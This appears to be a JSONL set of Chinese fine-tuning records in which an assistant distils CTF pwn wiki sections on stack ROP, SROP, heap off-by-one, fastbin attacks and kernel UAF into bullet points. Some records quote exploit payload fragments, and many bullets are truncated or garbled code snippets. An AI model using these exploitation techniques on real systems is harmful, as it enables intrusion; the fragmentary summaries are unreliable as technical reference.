{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c3b5113de1bf9f5af4e8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：基本 ROP > ret2shellcode > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 在栈溢出的基础上，要想执行 shellcode，需要对应的 binary 在运行时，shellcode 所在的区域具有可执行权限。\n- 需要注意的是，在新版内核当中引入了较为激进的保护策略，程序中通常不再默认有同时具有可写与可执行的段，这使得传统的 ret2shellcode 手法不再能直接完成利用。\n- 通常情况下，shellcode 需要我们自行编写，即此时我们需要自行向内存中填充一些可执行的代码。\n- shellcode 指的是用于完成某个功能的汇编代码，常见的功能主要是获取目标系统的 shell。\n- ret2shellcode，即控制程序执行 shellcode 代码。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 293, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["基本 ROP", "ret2shellcode", "原理"], "original_id": "docs-0cc4168d1c6441060f97", "original_line": 1248, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "8b86e04e5251e1bac8a20d7e", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c3d9e8ae5dc234b02a78", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel.md` 中的章节「配置编译选项」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel.md`\n标题：内核源码下载与编译\n章节：内核源码下载与编译 > 配置编译选项\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“配置编译选项”展开。\n- 在正式进行内核源码编译之前，我们还需要准备一份编译选项，其包含了内核编译相关的配置，通常存放于源码目录下的 .config 文件中。\n- 通常情况下，我们在内核源码目录下使用如下命令进入图形化的内核配置面板， 这也是最常用的内核配置方法 ，其会读取 .config 文件的配置并允许我们在图形化的界面中进行修改，并在该文件不存在时则是会调用 make defconfig 先生成一份默认配置： > 需要注意，图形化配置界面依赖于 ncurses 库，这通常可以从你的发行版仓库安装。\n- 不过我们不需要从零开始手动编写，而是可以通过内核的编译配置系统进行动态生成。\n\n关键术语：\n- AI安全\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:shell\n\n代码/命令片段线索：\n- shell: 1 行，首行 `$ make menuconfig`\n- shell: 1 行，首行 `$ make defconfig`\n- shell: 1 行，首行 `$ make config`\n- shell: 2 行，首行 `$ make localyesconfig # 将驱动编译到内核当中`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1066, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "配置编译选项", "heading_path": ["内核源码下载与编译", "配置编译选项"], "original_id": "docs-0ba9f2e21cb5c2826e04", "original_line": 701, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "source_root": "docs", "source_sha256": "1bbcde79aa748d30013efb917e145242ce3c67e4eca3b23d9c0bd9708af4af0f", "split": "train", "split_group_key": "d753b228b03200880baeee0c", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "pwn", "linux", "kernel-mode", "environment", "code:shell"], "title": "内核源码下载与编译"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c409e2254725954645d1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「基本介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 基本介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本介绍”展开。\n- SROP(Sigreturn Oriented Programming)于2014年被Vrije Universiteit Amsterdam的Erik Bosman提出，其相关研究Framing Signals — A Return to Portable Shellcode发表在安全顶级会议Oakland 2014上，被评选为当年的Best Student Papers。\n- 其中相关的paper以及slides的链接如下： paper slides 其中，sigreturn是一个系统调用，在类unix系统发生signal的时候会被间接地调用。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 534, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "基本介绍", "heading_path": ["SROP", "基本介绍"], "original_id": "docs-10ab3796d68ee8d7f228", "original_line": 1377, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "cb96d3ff845e8d9dba9cedbe", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c440b0e0ec90a05efa5a", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md` 中的章节「内核栈 与通用 ROP」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md`\n标题：利用 pt\\_regs 构造通用内核 ROP\n章节：利用 pt\\_regs 构造通用内核 ROP > 内核栈 与通用 ROP\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“内核栈 与通用 ROP”展开。\n- 而在系统调用当中过程有很多的寄存器其实是不一定能用上的，比如 r8 ~ r15，这些寄存器为我们布置 ROP 链提供了可能，我们不难想到： - 只需要寻找到一条形如 \"add rsp, val ;\n- ret\" 的 gadget 便能够完成 ROP 这里笔者给出一个通用的 ROP 板子，方便调试时观察： ``c asm volatile( \"mov r15, 0xbeefdead;\n- 我们都知道，内核栈只有一个页面的大小，而 pt\\_regs 结构体则固定位于内核栈栈底，当我们劫持内核结构体中的某个函数指针时（例如 seq\\_operations->start），在我们通过该函数指针劫持内核执行流时 rsp 与 栈底的相对偏移通常是不变的。\n- \" // 这里假定通过 seq_operations->stat 来触发 \"syscall\" );\n\n关键术语：\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 18 行，首行 `asm volatile(`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 708, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "内核栈 与通用 ROP", "heading_path": ["利用 pt\\_regs 构造通用内核 ROP", "内核栈 与通用 ROP"], "original_id": "docs-7bcaca33186a4d822fa9", "original_line": 809, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "source_root": "docs", "source_sha256": "60e580f7ce73c459c08c4499a5bb30ee34f036c46304ad9c8c52ace8a2cf248e", "split": "train", "split_group_key": "82cf1bc792a825311b0eb9c3", "subcategory": "pwn/linux/kernel-mode", "terms": ["栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "利用 pt\\_regs 构造通用内核 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/rop/ret2ptregs.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c456a7048f1543d2bb25", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「off-by-one 利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：堆中的 Off-By-One > off-by-one 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“off-by-one 利用思路”展开。\n- 也可使用 NULL 字节溢出的方法 2. 溢出字节为 NULL 字节：在 size 为 0x100 的时候，溢出 NULL 字节可以使得 prev_in_use 位被清，这样前块会被认为是 free 块。\n- 1. 溢出字节为可控制任意字节：通过修改大小造成块结构之间出现重叠，从而泄露其他块数据，或是覆盖其他块数据。\n- （2） 另外，这时 prev_size 域就会启用，就可以伪造 prev_size ，从而造成块之间发生重叠。\n- （1） 这时可以选择使用 unlink 方法（见 unlink 部分）进行处理。\n- prev_inuse(p)) { prevsize = prev_size (p);\n\n关键术语：\n- 边界/溢出\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 10 行，首行 `/* consolidate backward */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 730, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "off-by-one 利用思路", "heading_path": ["堆中的 Off-By-One", "off-by-one 利用思路"], "original_id": "docs-15b143145048d9760cb9", "original_line": 1012, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "66ee3551e66aebdff9910213", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c49b4f5d805d6464fabc", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「fast bin」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > fast bin\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“fast bin”展开。\n- = av->top) #endif ) { // 下一个chunk的大小不能小于两倍的SIZE_SZ,并且 // 下一个chunk的大小不能大于system_mem， 一般为132k // 如果出现这样的情况，就报错。\n- Redo the test after getting the lock. / if (have_lock || ({ assert(locked == 0);\n- chunksize_nomask(chunk_at_offset(p, size)) <= 2 SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem;\n- })) { errstr = \"free(): invalid next size (fast)\";\n- have_lock) { __libc_lock_unlock(av->mutex);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 78 行，首行 `/*`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2548, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "fast bin", "heading_path": ["释放内存块", "_int_free", "fast bin"], "original_id": "docs-a71885484626fecb41c8", "original_line": 1131, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "161ed46573f104642bb97246", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c58220f7c27938352eb5", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md` 中的章节「construct ropchain」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md`\n标题：ret2dlresolve\n章节：construct ropchain\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“construct ropchain”展开。\n- 如下面的 ropchain 所示，0x40 处多了两个 a，比较奇怪。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- AI安全\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `需要注意的是，这里我把 /bin/sh 的偏移修改为了 base_stage+82，这是因为 pwntools 会对齐字符串。如下面的 ropchain 所示，0x40 处多了两个 a，比较奇怪。`\n- plain: 1 行，首行 `效果如下`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1975, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "construct ropchain", "heading_path": ["construct ropchain"], "original_id": "docs-b10013349b98d51387f7", "original_line": 70, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "source_root": "docs", "source_sha256": "2e19134d3375fa37fb3e560ae4b2109f6d74f32723e63394ef57aadfc89c451a", "split": "train", "split_group_key": "225feb840fde617064f8b022", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow"], "title": "ret2dlresolve"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c613610367cf0c6ed59c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md` 中的章节「mmap」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md`\n标题：堆概述\n章节：堆概述 > 堆的基本操作 > 内存分配背后的系统调用 > mmap\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 例子 ``c++ / Private anonymous mapping example using mmap syscall / #include  #include  #include  #include  #include  #include  #include  void static inline errExit(const char msg) { p...\n- } int main() { int ret = -1;\n- if (addr == MAP_FAILED) errExit(\"mmap\");\n- } ` 在执行mmap之前 我们可以从下面的输出看到，目前只有.so文件的mmap段。\n- 匿名映射的目的主要是可以申请以0填充的内存，并且这块内存仅被调用进程所使用。\n- printf(\"Welcome to private anonymous mapping example::PID:%d\\n\", getpid());\n\n关键术语：\n- 堆\n- AI安全\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n- code:shell\n\n代码/命令片段线索：\n- c++: 33 行，首行 `/* Private anonymous mapping example using mmap syscall */`\n- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`\n- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`\n- shell: 7 行，首行 `sploitfun@sploitfun-VirtualBox:~/ptmalloc.ppt/syscalls$ cat /proc/6067/maps`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2494, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "mmap", "heading_path": ["堆概述", "堆的基本操作", "内存分配背后的系统调用", "mmap"], "original_id": "docs-74c8622ff92970c1da5a", "original_line": 946, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "source_root": "docs", "source_sha256": "c5b7b2772fccb400c1608947df02ea8ba5de03c3aabfe029fcff194c119d8375", "split": "train", "split_group_key": "8f5163ce9ed557e3b0947e8e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "pwn", "linux", "user-mode", "heap", "code:c++", "code:shell"], "title": "堆概述"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/heap-overview.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c65d6aca3bac32848b9c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md` 中的章节「题目分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md`\n标题：Cross-Cache UAF\n章节：Cross-Cache UAF > 例题： kbook > 题目分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目分析”展开。\n- 题目给了一个 kbook.ko ，允许用户获取“书籍”并写入“页面”，一共有 0x20 本“书”，每本“书”有 0x20 个“页面”，每个“页面”大小为 1024,分配于独立的 kmem_cache 中 漏洞存在于释放页面时未清空指针从而造成 UAF，导致可以对已释放的页面进行读写： ``c __int64 __fastcall kbook_ioctl(__int64 a1, int a2, unsigned __int64 a3) { void v4;\n- if ( a2 == 0x1919810 ) { if ( a3 >= 0x20 ) { LABEL_12: v4 = &unk_7DC;\n- if ( v5 ) { if ( bookshelf[33 v5 + a3] ) kfree();\n- } if ( a2 == 0x514 ) { if ( a3 >= 0x20 ) goto LABEL_12;\n- } if ( (_QWORD )(a1 + 200) ) { v4 = &unk_767;\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:c\n\n代码/命令片段线索：\n- c: 79 行，首行 `__int64 __fastcall kbook_ioctl(__int64 a1, int a2, unsigned __int64 a3)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1368, "chunk_count": 1, "chunk_index": 0, "ctf_score": 30, "ctf_task_type": "pwn", "heading": "题目分析", "heading_path": ["Cross-Cache UAF", "例题： kbook", "题目分析"], "original_id": "docs-5445fc9647d716e85719", "original_line": 739, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "source_root": "docs", "source_sha256": "687aa9899839a03ab9ddad6785475897c71ad6e3bd6110e36b945c28303aa971", "split": "train", "split_group_key": "ae8e8a446d092e11e200b0d0", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:c"], "title": "Cross-Cache UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/buddy/cross-cache-uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c76086c29fbbfdffdd4f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md` 中的章节「示例」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md`\n标题：House of Orange\n章节：House of Orange > 示例\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 但是当我们执行这个示例时会发现，这个程序并不能利用成功，原因在于assert并没有被满足从而抛出了异常。\n- 这里给出了一个示例程序，程序模拟了一个溢出覆盖到top chunk的size域。\n- `` #include  #define fake_size 0x41 int main(void) { void ptr;\n- // overwrite top chunk size malloc(0x60);\n- 我们试图把size改小从而实现brk扩展，并把原有的top chunk放入unsorted bin中。\n- ptr=(void )((long long)ptr+24);\n\n关键术语：\n- 边界/溢出\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 11 行，首行 `#include `\n- plain: 4 行，首行 `[#0] 0x7ffff7a42428 → Name: __GI_raise(sig=0x6)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 934, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "示例", "heading_path": ["House of Orange", "示例"], "original_id": "docs-68cefecd8714fe2d17f8", "original_line": 48, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "source_root": "docs", "source_sha256": "eb24a5de679105c6f7e15121ceb0af595501aab8048a0e3588df872e47ddec53", "split": "train", "split_group_key": "b369a997eaf45f60947127a6", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "House of Orange"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-orange.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-c7bec728016540acb855", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「edit idx4's fd point to fake chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：edit idx4's fd point to fake chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“edit idx4's fd point to fake chunk”展开。\n- fake_chunk_addr = main_arena - 0x33 fake_chunk = p64(fake_chunk_addr) fill(2, len(fake_chunk), fake_chunk) allocate(0x60) # idx 4 allocate(0x60) # idx 6 one_gadget_addr = libc_base + 0x4526a payload = 0x13 * 'a' + p64(one_gadget_addr) fill(6, len(payload),...\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 267, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "edit idx4's fd point to fake chunk", "heading_path": ["edit idx4's fd point to fake chunk"], "original_id": "docs-b2d256af046e5f0fbe7d", "original_line": 939, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "11c7640c498b9ab2a70c6222", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
